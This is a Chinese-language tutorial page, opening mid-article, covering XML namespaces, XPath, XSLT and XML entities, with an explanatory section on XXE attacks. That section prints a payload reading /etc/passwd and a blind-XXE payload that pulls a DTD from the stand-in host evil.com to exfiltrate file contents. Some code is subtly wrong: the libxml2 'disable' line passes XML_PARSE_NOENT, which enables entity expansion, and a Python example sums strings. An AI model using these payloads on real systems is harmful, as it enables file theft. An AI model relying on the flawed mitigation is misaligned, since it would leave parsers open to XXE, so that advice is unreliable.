xmlns:a="http://example.com/a"> <a:child> <!-- a 前缀仍然绑定 http://example.com/a --> <a:grandchild xmlns:a="http://example.com/b"> <!-- 这里 a 前缀重新绑定到 http://example.com/b --> </a:grandchild> </a:child></root>命名空间在实际协议中的应用SOAP 消息SOAP 协议是命名空间应用的典型场景,一条 SOAP 消息同时使用 SOAP 信封命名空间和业务数据命名空间:<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:m="http://www.example.com/stock"> <soap:Header> <m:Authentication> <m:Username>user</m:Username> <m:Password>pass</m:Password> </m:Authentication> </soap:Header> <soap:Body> <m:GetStockPrice> <m:StockSymbol>IBM</m:StockSymbol> </m:GetStockPrice> </soap:Body></soap:Envelope>soap 前缀标识协议层元素,m 前缀标识业务数据元素,两者互不干扰。XML Schema(XSD)XSD 本身大量使用命名空间,xs 或 xsd 前缀是 XSD 元素的通用约定:<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="book" type="xs:string"/></xs:schema>在 XSD 验证中,命名空间决定了类型定义和元素声明的归属。目标命名空间(targetNamespace)指定了该 Schema 定义的所有组件属于哪个命名空间。常见错误与陷阱前缀声明但未使用:声明了 xmlns:foo 却从未使用 foo: 前缀,虽然不会报错,但说明声明是多余的默认命名空间不覆盖属性:这是最常见的误解,未加前缀的属性不属于默认命名空间URI 相等性:命名空间比较是字符串精确匹配,http://example.com 和 http://example.com/ 是两个不同的命名空间在根元素上声明所有命名空间:虽然合法,但只在需要时声明可以让文档更清晰混用不同前缀绑定同一 URI:合法但容易混淆,同一文档中应保持前缀一致最佳实践使用公司域名的 URL 格式作为 URI,确保全球唯一前缀选择简短且有意义,如 xs 表示 XML Schema,xhtml 表示 XHTML在文档的根元素集中声明所有需要的命名空间,方便维护同一文档中对同一命名空间始终使用相同前缀只在确实存在命名冲突风险时才引入命名空间,避免不必要的复杂性追问Q: 命名空间 URI 是否必须是一个可访问的 URL?不是。URI 仅作为标识符,解析器不会尝试访问它。使用 URL 格式只是行业惯例,因为它天然具备全局唯一性。实际开发中,这个地址可能根本不存在。Q: 默认命名空间和没有命名空间有什么区别?有默认命名空间的元素属于该命名空间;没有前缀且没有默认命名空间的元素属于"无命名空间"。这是两个不同的状态——属于某个命名空间和不属于任何命名空间在 XSD 验证中表现完全不同。
计算机基础阅读 05月28日 03:48

XPath 是什么?XML 数据查询从入门到实战

XPath 是 XML 世界里的"查询语言"——你有一堆结构化的 XML 数据,想从中精确提取某个节点的值、过滤满足条件的元素、或者统计某个属性出现的次数,XPath 就是干这个的。几乎所有需要处理 XML 的场景都会用到它:Java 解析配置文件、Python 爬虫提取网页数据、XSLT 转换文档格式,底层都依赖 XPath 定位节点。如果把 XML 文档比作一栋大楼,那 XPath 就是楼里的导航系统——告诉你"3 楼东侧第二个房间"在哪,而不是让你挨个门去找。XPath 把 XML 看成一棵树拿到一份 XML 文档后,XPath 要做的第一件事是把它当成一棵"节点树"。每种 XML 组成部分对应一种节点类型:元素节点:XML 中的标签,比如 <book>属性节点:标签里的属性,比如 category="web"文本节点:标签之间的文字内容文档节点:整份 XML 的根,也叫根节点剩下的命名空间节点、处理指令节点、注释节点用得少,知道就行。关键理解一点:XPath 的所有查询操作,本质上都是在"在这棵树上找路"。路径表达式:XPath 的基本语法拿一份常见的 XML 举例:<bookstore> <book category="web"> <title lang="en">XML Guide</title> <author>John Doe</author> <price>39.95</price> </book> <book category="database"> <title lang="en">SQL Basics</title> <author>Jane Smith</author> <price>29.99</price> </book></bookstore>绝对路径和相对路径/bookstore → 根元素 bookstore/bookstore/book → bookstore 下所有 book 子元素//book → 文档中任意位置的 book 元素bookstore//book → bookstore 后代中所有 book 元素/ 开头是绝对路径,从根节点出发;// 表示"不管在哪一层,只要匹配就选出来",类似文件系统的递归搜索。一个性能细节://book 看起来方便,但它会遍历整棵树,文档大的时候性能开销明显。如果知道节点的大致位置,用 /bookstore/book 这种更精确的路径更快。谓词:加条件过滤谓词写在方括号 [] 里,用来筛选满足特定条件的节点。可以把谓词理解为 SQL 的 WHERE 子句——都是给查询加过滤条件:/bookstore/book[1] → 第一个 book/bookstore/book[last()] → 最后一个 book/bookstore/book[position()<3] → 前两个 book//book[@category='web'] → category 属性为 web 的 book//book[price>35] → price 大于 35 的 book实际开发中大部分 XPath 查询都离不开谓词。一个实用技巧:多个条件可以用 and/or 组合,比如 //book[@category='web' and price<40]。通配符* → 任何元素节点@* → 任何属性节点node() → 任何类型的节点用得不多,但在写通用查询时很方便,比如 //book/* 取出 book 下所有子元素,不用逐个写子元素名称。轴:指定搜索方向轴定义了"从当前节点往哪个方向找"。默认轴是 child,所以 /bookstore/book 其实是 /child::bookstore/child::book 的简写。常用的轴:parent → 父节点(简写 ..)child → 所有子节点(默认,可省略)descendant → 所有后代节点ancestor → 所有祖先节点following-sibling → 之后的同级节点preceding-sibling → 之前的同级节点self → 自身(简写 .)完整语法是 轴名::节点测试,比如 ancestor::book 表示找所有叫 book 的祖先节点。日常开发中 parent、child、descendant、following-sibling 这几个占了 90% 的使用场景。内置函数:让查询更灵活XPath 内置了一批函数,可以直接在谓词和表达式中调用。字符串函数——出场率最高contains(title, 'XML') → title 包含 "XML"starts-with(@lang, 'en') → lang 属性以 "en" 开头substring(price, 1, 4) → 截取 price 的前 4 个字符normalize-space(text) → 去掉多余空白string-length(title) → 标题长度contains 是日常开发中出场率最高的函数,做模糊匹配全靠它。一个常见场景:在配置文件里找所有包含特定关键字的节点。聚合和数值函数count(//book) → 统计 book 元素数量sum(//book/price) → 所有 price 求和floor(3.7) → 3(向下取整)ceiling(3.2) → 4(向上取整)round(3.5) → 4(四舍五入)布尔函数not(@category='web') → category 不是 webboolean(//book) → 是否存在 book 元素(判空用)boolean() 配合 not() 可以判断"某个节点是否存在",在做数据校验时很有用。在各语言中实际使用 XPathJavaXPathFactory factory = XPathFactory.newInstance();XPath xpath = factory.newXPath();DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();Document doc = dbf.newDocumentBuilder().parse(new File("books.xml"));// 查询单个值String title = xpath.evaluate("//book[@category='web']/title/text()", doc);// 查询节点列表NodeList books = (NodeList) xpath.evaluate("//book", doc, XPathConstants.NODESET);for (int i = 0; i < books.getLength(); i++) { Element book = (Element) books.item(i); System.out.println(book.getAttribute("category"));}踩坑提醒:Java 默认的 XPath 实现是串行执行的,大文件查询会很慢。如果性能敏感,考虑换用 Saxon-HE 等第三方实现。另外,DocumentBuilderFactory.newInstance() 默认不启用命名空间支持,需要 dbf.setNamespaceAware(true) 才能用命名空间相关的 XPath 查询。Python(lxml 库)from lxml import etreetree = etree.parse("books.xml")# 提取文本titles = tree.xpath("//book[@category='web']/title/text()")# 提取属性categories = tree.xpath("//book/@category")# 用函数做统计total = sum(tree.xpath("//book/price/text()"))Python 爬虫中 lxml + XPath 是黄金组合,比 BeautifulSoup 的 CSS 选择器更灵活——尤其是处理不规则的 HTML 结构,XPath 的 contains() 和轴查询能解决很多 CSS 选择器搞不定的问题。JavaScript(浏览器环境)const parser = new DOMParser();const xmlDoc = parser.parseFromString(xmlString, "text/xml");const result = xmlDoc.evaluate( "//book[@category='web']/title", xmlDoc, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);for (let i = 0; i < result.snapshotLength; i++) { console.log(result.snapshotItem(i).textContent);}浏览器环境下的 document.evaluate 可以直接对 HTML DOM 执行 XPath 查询,不限于 XML 文档。做自动化测试或油猴脚本时很实用。XPath 和 XQuery 的关系XQuery 基于 XPath 构建,但能力更强:XPath:定位和选择节点,是"找东西"的工具XQuery:不仅能找,还能构造新的 XML 结构、做 FLWOR 查询(类似 SQL 的 for-let-where-order-return)如果只是从 XML 里提取数据,XPath 够用。如果需要查询后重新组织输出格式,才需要 XQuery。常见坑和最佳实践命名空间陷阱——新手第一大坑XML 声明了命名空间后,直接用 /root/child 可能查不到节点。比如:<root xmlns="http://example.com/ns"> <child>hello</child></root>此时 //child 返回空,因为 child 已经属于一个命名空间了。必须在代码中注册命名空间前缀,然后用前缀查询:# Python lxml 示例tree.xpath("//ns:child/text()", namespaces={"ns": "http://example.com/ns"})这是 XPath 新手最常遇到的"明明节点在,就是查不到"的问题。// 的性能问题前面说过,// 会遍历全树。几百 KB 的文档无所谓,几十 MB 的文档就会明显卡顿。能写精确路径就别用 //,尤其是循环里反复执行 XPath 的时候。文本节点的空白陷阱XML 中的换行和缩进会被解析为文本节点,//text() 可能返回一大堆空白字符串。用 normalize-space() 过滤,或者直接用 /text() 取特定层级的文本。XPath 1.0 vs 2.0/3.0大多数语言内置的是 XPath 1.0,不支持 for 循环、条件表达式(if-then-else)、正则匹配等 2.0+ 特性。需要高级功能时:Java → 用 Saxon 替换默认实现Python → lxml 的扩展函数,或换用 xml.etree.ElementTree 的有限 XPath 支持C# → .NET 3.5+ 支持 XPath 1.0,更高级需要第三方库特殊字符转义路径中包含单引号或双引号时,需要用 concat() 拼接,比如 //book[title=concat("He said '", "'", "s book")]。XPath 1.0 没有原生的转义语法,这是它的一个设计缺陷。XPath 2.0+ 支持双引号内转义单引号,但 1.0 环境下只能用 concat() 绕路。查询结果缓存如果同一条 XPath 会被反复执行(比如在循环里),考虑编译一次、重复执行:// Java 编译 XPath 表达式XPathExpression expr = xpath.compile("//book[@category='web']");NodeList result = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);编译一次比每次都 evaluate() 快得多,尤其是复杂表达式。
计算机基础阅读 05月28日 03:47

XSLT 是什么?XML 转换的模板匹配机制详解

XSLT 经常被误解为"XML 的 CSS"——其实它更像一门函数式编程语言。你写一系列模板规则,XSLT 处理器拿着这些规则去匹配 XML 节点,匹配上了就输出对应内容。理解这个模型,比背语法重要得多。XSLT 处理模型:模板驱动的递归匹配XSLT 的核心不是"写一个程序去遍历 XML",而是"告诉处理器遇到什么节点就输出什么"。处理器从根节点开始,按模板优先级逐级匹配,遇到 apply-templates 就递归处理子节点。这个过程有几个关键规则:匹配优先级:更具体的匹配规则优先。match="bookstore/book" 比 match="*" 优先级高内置模板:如果你没写匹配某节点的模板,XSLT 有默认行为——继续递归处理子节点,文本节点直接输出内容。这就是为什么你只写了部分模板,其他内容也会"冒出来"一次匹配:一个节点只会被优先级最高的模板处理一次<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!-- 匹配根节点,输出 HTML 框架 --> <xsl:template match="/"> <html> <body> <xsl:apply-templates select="bookstore/book"/> </body> </html> </xsl:template> <!-- 匹配每本书,输出一行 --> <xsl:template match="book"> <p><xsl:value-of select="title"/> - <xsl:value-of select="author"/></p> </xsl:template></xsl:stylesheet>apply-templates 和 for-each 都能遍历节点,但区别很重要:apply-templates 把控制权交给模板匹配机制,天然支持递归和模块化;for-each 是命令式的,所有逻辑都写在一个块里。简单遍历用 for-each 没问题,但一旦逻辑复杂,模板匹配更好维护。XPath:XSLT 的导航语言XSLT 离不开 XPath。你在 select 属性里写的表达式就是 XPath,它决定了"从 XML 里取什么数据"。几个高频用法:| XPath 表达式 | 含义 ||---|---|| /bookstore/book | 从根节点选取所有 book || //book | 任意层级的 book 节点 || book[@category='web'] | category 属性为 web 的 book || book[position() > 1] | 第二本书开始(下标从 1 计) || count(//book) | book 节点数量 |一个容易踩的坑://book 看起来方便,但它在整个文档树中搜索,大数据量下性能很差。能写绝对路径 /bookstore/book 就不要用 //。条件判断和循环if 和 chooseXSLT 1.0 没有 else,只有 xsl:if。需要多分支判断时用 choose/when/otherwise:<xsl:template match="book"> <div> <xsl:choose> <xsl:when test="price > 30"> <xsl:attribute name="class">expensive</xsl:attribute> </xsl:when> <xsl:when test="price > 20"> <xsl:attribute name="class">moderate</xsl:attribute> </xsl:when> <xsl:otherwise> <xsl:attribute name="class">cheap</xsl:attribute> </xsl:otherwise> </xsl:choose> <xsl:value-of select="title"/> - $<xsl:value-of select="price"/> </div></xsl:template>注意 XML 里的比较运算符要用转义:> 写成 >,< 写成 <。初学者经常在这卡住。for-each 和排序<xsl:for-each select="bookstore/book"> <xsl:sort select="price" order="ascending" data-type="number"/> <p><xsl:value-of select="title"/> - $<xsl:value-of select="price"/></p></xsl:for-each>sort 必须紧跟在 for-each 或 apply-templates 后面,放在其他位置会被忽略——而且不会报错。变量和参数变量(不可变)XSLT 的变量一旦赋值就不能修改,这是函数式编程的特征:<xsl:variable name="maxPrice" select="100"/><xsl:variable name="bookCount" select="count(//book)"/>想实现"累加计数"?不能靠修改变量,得用递归模板或者 sum() 等 XPath 聚合函数。这是从命令式语言转过来的开发者最容易不适应的地方。参数(模板间传值)<!-- 定义带参数的命名模板 --><xsl:template name="formatPrice"> <xsl:param name="price"/> <xsl:param name="currency" select="'$'"/> <xsl:value-of select="concat($currency, format-number($price, '#,##0.00'))"/></xsl:template><!-- 调用 --><xsl:call-template name="formatPrice"> <xsl:with-param name="price" select="price"/> <xsl:with-param name="currency" select="'€'"/></xsl:call-template>模板模式:同一节点不同输出同一个 XML 节点,你可能在不同位置需要不同的输出形式。mode 属性解决这个需求:<!-- 简略模式:只显示标题 --><xsl:template match="book" mode="summary"> <li><xsl:value-of select="title"/></li></xsl:template><!-- 详细模式:显示全部信息 --><xsl:template match="book" mode="detail"> <div class="book-detail"> <h3><xsl:value-of select="title"/></h3> <p>Author: <xsl:value-of select="author"/></p> <p>Price: $<xsl:value-of select="price"/></p> </div></xsl:template><!-- 按需调用 --><ul><xsl:apply-templates select="book" mode="summary"/></ul><div><xsl:apply-templates select="book" mode="detail"/></div>key:XSLT 的"索引"用 xsl:key 可以实现类似数据库索引的效果,最常用于分组(XSLT 1.0 没有 group-by,得用 Muenchian 分组法):<!-- 定义按 author 分组的 key --><xsl:key name="books-by-author" match="book" use="author"/><!-- 取出每个 author 的第一本书(去重) --><xsl:for-each select="bookstore/book[count(. | key('books-by-author', author)[1]) = 1]"> <h2><xsl:value-of select="author"/></h2> <ul> <xsl:for-each select="key('books-by-author', author)"> <li><xsl:value-of select="title"/></li> </xsl:for-each> </ul></xsl:for-each>Muenchian 分组的写法确实反直觉。如果你可以用 XSLT 2.0+,直接用 xsl:for-each-group 就行,省掉这些弯弯绕绕。在不同语言中执行 XSLT 转换JavaTransformerFactory factory = TransformerFactory.newInstance();Transformer transformer = factory.newTransformer( new StreamSource(new File("transform.xsl")));transformer.transform( new StreamSource(new File("data.xml")), new StreamResult(new File("output.html")));注意 TransformerFactory.newInstance() 会按特定顺序查找实现,如果 classpath 里有 Saxon 等第三方实现,可能拿到的不是 JDK 内置的 Xalan。生产环境建议显式指定:TransformerFactory factory = TransformerFactory.newInstance( "net.sf.saxon.TransformerFactoryImpl", null);Python(lxml)from lxml import etreexml_doc = etree.parse("data.xml")xslt_doc = etree.parse("transform.xsl")transform = etree.XSLT(xslt_doc)result = transform(xml_doc)lxml 的 XSLT 只支持 1.0。需要 2.0/3.0 特性的话,得用 saxonc 库调用 Saxon-HE。浏览器端浏览器曾经原生支持 XSLT(XSLTProcessor),但现在已经不推荐在前端做转换了——性能差、调试难、XSLT 1.0 功能有限。现代做法是在构建阶段或服务端完成转换。XSLT 1.0 vs 2.0 vs 3.0| 特性 | 1.0 | 2.0 | 3.0 ||---|---|---|---|| 分组 | Muenchian 分组(复杂) | for-each-group | for-each-group || 正则 | 不支持 | xsl:analyze-string | xsl:analyze-string || 函数定义 | 不支持 | xsl:function | xsl:function || 多输出 | 不支持 | xsl:result-document | xsl:result-document || 包机制 | 不支持 | 不支持 | xsl:use-package || try/catch | 不支持 | 不支持 | xsl:try |XSLT 1.0 是浏览器唯一支持的版本。服务端处理建议至少用 2.0,分组和函数定义这两个特性就能省掉大量代码。实战踩坑字符编码问题:转换输出中文乱码,通常是因为没有指定 xsl:output 的 encoding 属性,或者输出文件的编码和声明不一致。加上 <xsl:output method="html" encoding="UTF-8"/> 基本能解决。命名空间冲突:源 XML 带了默认命名空间(如 xmlns="http://example.com"),你写的模板死活匹配不上。XSLT 里命名空间必须显式匹配,不能用空命名空间去匹配有命名空间的节点。解决方法是给命名空间加前缀:xpath-default-amespace="http://example.com"(2.0+),或者在 1.0 里手动声明前缀并使用。大文件内存溢出:XSLT 处理器默认把整个 XML 加载到内存。几十 MB 的 XML 文件可能直接 OOM。Saxon-EE 的流式处理(streaming)可以解决这个问题,但社区版(HE)不支持。XSLT 的学习曲线主要卡在思维方式的转换——从命令式的"怎么做"切换到声明式的"要什么"。理解了模板匹配的递归模型,剩下的语法只是工具。
计算机基础阅读 05月28日 03:47

XML 实体详解:4 种类型与 XXE 攻击防护

XML 文档里有些内容会反复出现——公司名、版权声明、版本号,每次手写既麻烦又容易改漏。XML 实体就是解决这个问题的:定义一次,到处引用。但实体的能力不止于此,外部实体还能引入其他文件的内容,而这个特性恰恰成了 XXE 攻击的入口。实体是什么实体(Entity)本质是一个"文本替身"——你在 DTD 里声明它代表什么,文档里用 &实体名; 引用它,解析器会自动替换成实际内容。<!DOCTYPE config [ <!ENTITY app "订单系统"> <!ENTITY ver "2.3.1">]><config> <name>&app;</name> <version>&ver;</version></config>解析后 &app; 变成"订单系统",&ver; 变成"2.3.1"。改一处定义,所有引用自动更新。四种实体类型内部实体值直接写在 DTD 里的实体,适合复用短文本:<!DOCTYPE letter [ <!ENTITY sender "张三"> <!ENTITY closing "此致敬礼">]><letter> <body>&sender; 申请退款</body> <footer>&closing;</footer></letter>内部实体没有安全风险,放心用。外部实体引用外部文件的内容,SYSTEM 关键字指向文件路径:<!DOCTYPE book [ <!ENTITY ch1 SYSTEM "chapter1.xml"> <!ENTITY ch2 SYSTEM "chapter2.xml">]><book> &ch1; &ch2;</book>外部实体方便模块化管理,但也带来了 XXE 注入风险——后面详说。参数实体只在 DTD 内部使用的实体,用 % 声明和引用:<!DOCTYPE catalog [ <!ENTITY % basic " <!ELEMENT title (#PCDATA)> <!ELEMENT price (#PCDATA)> "> %basic;]>参数实体的核心用途是拆分和复用 DTD 片段。当 DTD 声明很长时,把公共部分抽成参数实体,多个 DTD 共享同一份定义。预定义实体XML 自带 5 个,转义特殊字符,不需要声明:| 实体 | 字符 | 用在哪 ||------|------|--------|| < | < | 标签符号不能直接写 || > | > | 同上 || & | & | 实体引用符号本身 || ' | ' | 属性值用单引号时 || " | " | 属性值用双引号时 |<condition>5 < 10</condition><msg>She said "done"</msg>XXE 攻击:外部实体的安全隐患外部实体能读文件,这个能力如果被攻击者利用,后果很严重。攻击原理攻击者构造包含恶意外部实体的 XML:<!DOCTYPE data [ <!ENTITY steal SYSTEM "file:///etc/passwd">]><data>&steal;</data>服务器解析这段 XML 时,&steal; 会被替换成 /etc/passwd 的文件内容。如果这个内容被返回给客户端,攻击者就拿到了服务器的敏感文件。更危险的是参数实体版本的盲注 XXE——不直接回显内容,而是把数据外带发送到攻击者的服务器:<!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % dtd SYSTEM "http://evil.com/collect.dtd"> %dtd;]>collect.dtd 里可以定义把 %file; 内容拼进 URL 请求参数,实现数据外泄。防护方案Java(最严格,直接禁用 DTD):DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);// 如果必须用 DTD,至少禁用外部实体dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);Python(lxml):from lxml import etreeparser = etree.XMLParser(resolve_entities=False)tree = etree.parse("input.xml", parser)libxml2 全局禁用:xmlCtxtUseOptions(parser, XML_PARSE_NOENT, NULL);关键原则:默认禁用外部实体,只在确实需要的场景有条件地开启。实体的替代方案现代 XML 开发中,实体尤其是外部实体的使用在减少,有两个更好的替代:XIncludeXInclude 是 W3C 标准的包含机制,不依赖 DTD,不触发 XXE:<book xmlns:xi="http://www.w3.org/2001/XInclude"> <title>系统设计手册</title> <xi:include href="chapter1.xml"/> <xi:include href="chapter2.xml"/></book>XML Schema 的 fixed 属性对于内部实体"定义常量"的用途,Schema 的 fixed 属性可以替代:<xs:element name="version" type="xs:string" fixed="2.3.1"/>使用建议内部实体:放心用,复用短文本的好工具,但别过度——如果实体名比内容还长就没必要外部实体:生产环境尽量别用,用 XInclude 替代参数实体:维护大型 DTD 时很有用,但大部分项目已经转向 Schema,参数实体的使用场景在萎缩预定义实体:不需要特别记,编辑器会自动转义;手写 XML 时注意 < 和 & 必须转义安全第一:任何接收外部 XML 输入的接口,都要禁用外部实体解析,这是最低限度的安全措施